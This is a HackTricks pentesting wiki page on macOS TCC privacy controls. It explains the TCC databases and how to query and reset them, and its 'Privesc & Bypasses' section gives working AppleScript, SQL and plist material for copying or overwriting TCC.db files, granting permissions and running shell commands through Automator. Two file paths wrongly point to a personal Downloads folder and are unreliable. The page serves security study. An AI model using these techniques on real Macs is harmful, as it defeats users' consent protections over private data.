hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md

# macOS TCC

<details>

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</details>

## **Basic Information**

**TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more.

From a user’s perspective, they see TCC in action **when an application wants access to one of the features protected by TCC**. When this happens the **user is prompted** with a dialog asking them whether they want to allow access or not.

It's also possible to **grant apps access** to files by **explicit intents** from users for example when a user **drags\&drop a file into a program** (obviously the program should have access to it).

![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)

**TCC** is handled by the **daemon** located in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` and configured in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registering the mach service `com.apple.tccd.system`).

There is a **user-mode tccd** running per logged in user defined in `/System/Library/LaunchAgents/com.apple.tccd.plist` registering the mach services `com.apple.tccd` and `com.apple.usernotifications.delegate.com.apple.tccd`.

Here you can see the tccd running as system and as user:

```bash
ps -ef | grep tcc
    0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
  501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```

Permissions are **inherited from the parent** application and the **permissions** are **tracked** based on the **Bundle ID** and the **Developer ID**.

### TCC Databases

The allowances/denies then stored in some TCC databases:

* The system-wide database in **`/Library/Application Support/com.apple.TCC/TCC.db`**  .
  * This database is **SIP protected**, so only a SIP bypass can write into it.
* The user TCC database **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** for per-user preferences.
  * This database is protected so only processes with high TCC privileges like Full Disk Access can write to it (but i't not protected by SIP).

{% hint style="warning" %}
The previous databases are also **TCC protected for read access**. So you **won't be able to read** your regular user TCC database unless it's from a TCC privileged process.

However, remember that a process with these high privileges (like **FDA** or **`kTCCServiceEndpointSecurityClient`**) will be able to write the users TCC database
{% endhint %}

* There is a **third** TCC database in **`/var/db/locationd/clients.plist`** to indicate clients allowed to **access location services**.
* The SIP protected file **`/Users/carlospolop/Downloads/REG.db`** (also protected from read access with TCC), contains the **location** of all the **valid TCC databases**.
* The SIP protected file **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (also protected from read access with TCC), contains more TCC granted permissions.
* The SIP protected file **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (bu readable by anyone) is an allow list of applications that require a TCC exception.&#x20;

{% hint style="success" %}
The TCC database in **iOS** is in **`/private/var/mobile/Library/TCC/TCC.db`**
{% endhint %}

{% hint style="info" %}
The **notification center UI** can make **changes in the system TCC database**:

{% code overflow="wrap" %}
```bash
codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC
```
{% endcode %}

However, users can **delete or query rules** with the **`tccutil`** command line utility.
{% endhint %}

#### Query the databases

{% tabs %}
{% tab title="user DB" %}
{% code overflow="wrap" %}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{% endcode %}
{% endtab %}

{% tab title="system DB" %}
{% code overflow="wrap" %}
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{% endcode %}
{% endtab %}
{% endtabs %}

{% hint style="success" %}
Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it).
{% endhint %}

* The **`service`** is the TCC **permission** string representation
* The **`client`** is the **bundle ID** or **path to binary** with the permissions
* The **`client_type`** indicates whether it’s a Bundle Identifier(0) or an absolute path(1)

<details>

<summary>How to execute if it's an absolute path</summary>

Just do **`launctl load you_bin.plist`**, with a plist like:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <!-- Label for the job -->
    <key>Label</key>
    <string>com.example.yourbinary</string>

    <!-- The path to the executable -->
    <key>Program</key>
    <string>/path/to/binary</string>

    <!-- Arguments to pass to the executable (if any) -->
    <key>ProgramArguments</key>
    <array>
        <string>arg1</string>
        <string>arg2</string>
    </array>

    <!-- Run at load -->
    <key>RunAtLoad</key>
    <true/>

    <!-- Keep the job alive, restart if necessary -->
    <key>KeepAlive</key>
    <true/>

    <!-- Standard output and error paths (optional) -->
    <key>StandardOutPath</key>
    <string>/tmp/YourBinary.stdout</string>
    <key>StandardErrorPath</key>
    <string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
```

</details>

* The **`auth_value`** can have different values: denied(0), unknown(1), allowed(2), or limited(3).
* The **`auth_reason`** can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* The **csreq** field is there to indicate how to verify the binary to execute and grant the TCC permissions:

```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"
```

* For more information about the **other fields** of the table [**check this blog post**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).

You could also check **already given permissions** to apps in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.

{% hint style="success" %}
Users _can_ **delete or query rules** using **`tccutil`** .&#x20;
{% endhint %}

#### Reset TCC permissions

```bash
# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All
```

### TCC Signature Checks

The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **information** about the **signature** to **make sure** the App asking to use the a permission is the correct one.

{% code overflow="wrap" %}
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
{% endcode %}

{% hint style="warning" %}
Therefore, other applications using the same name and bundle ID won't be able to access granted permissions given to other apps.
{% endhint %}

### Entitlements & TCC Permissions

Apps **don't only need** to **request** and have been **granted access** to some resources, they also need to **have the relevant entitlements**.\
For example **Telegram** has the entitlement `com.apple.security.device.camera` to request **access to the camera**. An **app** that **doesn't** have this **entitlement won't be able** to access the camera (and the user won't be be even asked for the permissions).

However, for apps to **access** to **certain user folders**, such as `~/Desktop`, `~/Downloads` and `~/Documents`, they **don't need** to have any specific **entitlements.** The system will transparently handle access and **prompt the user** as needed.

Apple's apps **won’t generate prompts**. They contain **pre-granted rights** in their **entitlements** list, meaning they will **never generate a popup**, **nor** they will show up in any of the **TCC databases.** For example:

```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
    <string>kTCCServiceReminders</string>
    <string>kTCCServiceCalendar</string>
    <string>kTCCServiceAddressBook</string>
</array>
```

This will avoid Calendar ask the user to access reminders, calendar and the address book.

{% hint style="success" %}
Apart from some official documentation about entitlements it's also possible to find unofficial **interesting information about entitlements in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
{% endhint %}

Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this [**list of known ones**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).

### Sensitive unprotected places

* $HOME (itself)
* $HOME/.ssh, $HOME/.aws, etc
* /tmp

### User Intent / com.apple.macl

As mentioned previously, it possible to **grant access to an App to a file by drag\&dropping it to it**. This access won't be specified in any TCC database but as an **extended** **attribute of the file**. This attribute will **store the UUID** of the allowed app:

```bash
xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
    uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```

{% hint style="info" %}
It's curious that the **`com.apple.macl`** attribute is managed by the **Sandbox**, not tccd.

Also note that if you move a file that allows the UUID of an app in your computer to a different compiter, because the same app will have different UIDs, it won't grant access to that app.
{% endhint %}

The extended attribute `com.apple.macl` **can’t be cleared** like other extended attributes because it’s **protected by SIP**. However, as [**explained in this post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), it's possible to disable it **zipping** the file, **deleting** it and **unzipping** it.

## TCC Privesc & Bypasses

### Insert into TCC

If at some point you manage to get write access over a TCC database you can use something like the following to add an entry (remove the comments):

<details>

<summary>Insert into TCC example</summary>

```sql
INSERT INTO access (
    service, 
    client, 
    client_type, 
    auth_value, 
    auth_reason, 
    auth_version, 
    csreq, 
    policy_id, 
    indirect_object_identifier_type, 
    indirect_object_identifier, 
    indirect_object_code_identity, 
    flags, 
    last_modified, 
    pid, 
    pid_version, 
    boot_uuid, 
    last_reminded
) VALUES (
    'kTCCServiceSystemPolicyDesktopFolder', -- service
    'com.googlecode.iterm2', -- client
    0, -- client_type (0 - bundle id)
    2, -- auth_value  (2 - allowed)
    3, -- auth_reason (3 - "User Set")
    1, -- auth_version (always 1)
    X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
    NULL, -- policy_id
    NULL, -- indirect_object_identifier_type
    'UNUSED', -- indirect_object_identifier - default value
    NULL, -- indirect_object_code_identity
    0, -- flags
    strftime('%s', 'now'), -- last_modified with default current timestamp
    NULL, -- assuming pid is an integer and optional
    NULL, -- assuming pid_version is an integer and optional
    'UNUSED', -- default value for boot_uuid
    strftime('%s', 'now') -- last_reminded with default current timestamp
);
```

</details>

### Automation to FDA\*

The TCC name of the Automation permission is: **`kTCCServiceAppleEvents`**\
This specific TCC permission also indicates the **application that can be managed** inside the TCC database (so the permissions doesn't allow just to manage everything).

**Finder** is an application that **always has FDA** (even if it doesn't appear in the UI), so if you have **Automation** privileges over it, you can abuse its privileges to **make it do some actions**.\
In this case your app would need the permission **`kTCCServiceAppleEvents`** over **`com.apple.Finder`**.

{% tabs %}
{% tab title="Steal users TCC.db" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
    set homeFolder to path to home folder as string
    set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
    set targetFolder to POSIX file "/tmp" as alias

    try
        duplicate file sourceFile to targetFolder with replacing
    on error errMsg
        display dialog "Error: " & errMsg
    end try
end tell
EOD
```
{% endtab %}

{% tab title="Steal systems TCC.db" %}
```applescript
osascript<<EOD
tell application "Finder"
    set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
    set targetFolder to POSIX file "/tmp" as alias

    try
        duplicate file sourceFile to targetFolder with replacing
    on error errMsg
        display dialog "Error: " & errMsg
    end try
end tell
EOD
```
{% endtab %}
{% endtabs %}

You could abuse this to **write your own user TCC database**.

{% hint style="warning" %}
With this permission you will be able to **ask finder to access TCC restricted folders** and give you the files, but afaik you **won't be able to make Finder execute arbitrary code** to fully abuse his FDA access.

Therefore, you won't be able to abuse the full FDA habilities.
{% endhint %}

This is the TCC prompt to get Automation privileges over Finder:

<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>

{% hint style="danger" %}
Note that because the **Automator** app has the TCC permission **`kTCCServiceAppleEvents`**, it can **control any app**, like Finder. So having the permission to control Automator you could also control the **Finder** with a code like the one below:
{% endhint %}

<details>

<summary>Get a shell inside Automator</summary>

```applescript
osascript<<EOD
set theScript to "touch /tmp/something"

tell application "Automator"
   set actionID to Automator action id "com.apple.RunShellScript"
   tell (make new workflow)
      add actionID to it
      tell last Automator action
         set value of setting "inputMethod" to 1
         set value of setting "COMMAND_STRING" to theScript
      end tell
      execute it
   end tell
   activate
end tell
EOD
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
```

</details>

Same happens with **Script Editor app,** it can control Finder, but using an AppleScript you cannot force it to execute a script.

### Automation + Accessibility (**`kTCCServicePostEvent`)** to FDA\*

Automation on **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) allows to send **keystrokes to processes**. This way you could abuse Finder to change the users TCC.db or to give FDA to an arbitrary app (although password might be prompted for this).

Finder overwriting users TCC.db example:

```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
    -- Open Finder
    tell application "Finder" to activate

    -- Open the /tmp directory
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke "/tmp"
    delay 1
    keystroke return
    delay 1

    -- Select and copy the file
    keystroke "TCC.db"
    delay 1
    keystroke "c" using {command down}
    delay 1

    -- Resolve $HOME environment variable
    set homePath to system attribute "HOME"

    -- Navigate to the Desktop directory under $HOME
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke homePath & "/Library/Application Support/com.apple.TCC"
    delay 1
    keystroke return
    delay 1

    -- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
    keystroke "TCC.db"
    delay 1
    keystroke return
    delay 1
    key code 51 using {command down}
    delay 1

    -- Paste the file
    keystroke "v" using {command down}
end tell
EOF
```

### **Endpoint Security Client to FDA**

If you have **`kTCCServiceEndpointSecurityClient`**, you have FDA. End.

### System Policy SysAdmin File to FDA

**`kTCCServiceSystemPolicySysAdminFiles`** allows to **change** the **`NFSHomeDirectory`** attribute of a user that changes his home folder and therefore allows to **bypass TCC**.

### User TCC DB to FDA

Obtaining **write permissions** over the **user TCC** database you **can'**t grant yourself **`FDA`** permissions, only the one that lives in the system database can grant that.

But you can **can** give yourself **`Automation rights to Finder`**, and abuse the previous technique to escalate to FDA\*.

### **FDA to TCC permissions**

**Full Disk Access** is TCC name is **`kTCCServiceSystemPolicyAllFiles`**

I don't thing this is a real privesc, but just in case you find it useful: If you controls a program with FDA you can **modify the users TCC database and give yourself any access**. This can be useful as a persistence technique in case you might lose your FDA permissions.

### **SIP Bypass to TCC Bypass**

The system **TCC database** is protected by **SIP**, thats why only processes with the **indicated entitlements  are going to be able to modify** it. Therefore, if an attacker finds a **SIP bypass** over a **file** (be able to modify a file restricted by SIP), he will be able to:

* **Remove the protection** of a TCC database, and give himself all TCC permissions. He could abuse any of these files for example:
  * The TCC systems database
  * REG.db
  * MDMOverrides.plist

However, there is another option to abuse this **SIP bypass to bypass TCC**, the file `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is an allow list of applications that require a TCC exception. Therefore, if an attacker can **remove the SIP protection** from this file and add his **own application** the application ill be able to bypass TCC.\
For example to add terminal:

```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```

AllowApplicationsList.plist:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Services</key>
	<dict>
		<key>SystemPolicyAllFiles</key>
		<array>
			<dict>
				<key>CodeRequirement</key>
				<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
				<key>IdentifierType</key>
				<string>bundleID</string>
				<key>Identifier</key>
				<string>com.apple.Terminal</string>
			</dict>
		</array>
	</dict>
</dict>
</plist>
```

### TCC Bypasses

{% content-ref url="macos-tcc-bypasses/" %}
[macos-tcc-bypasses](macos-tcc-bypasses/)
{% endcontent-ref %}

## References

* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
*   [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)



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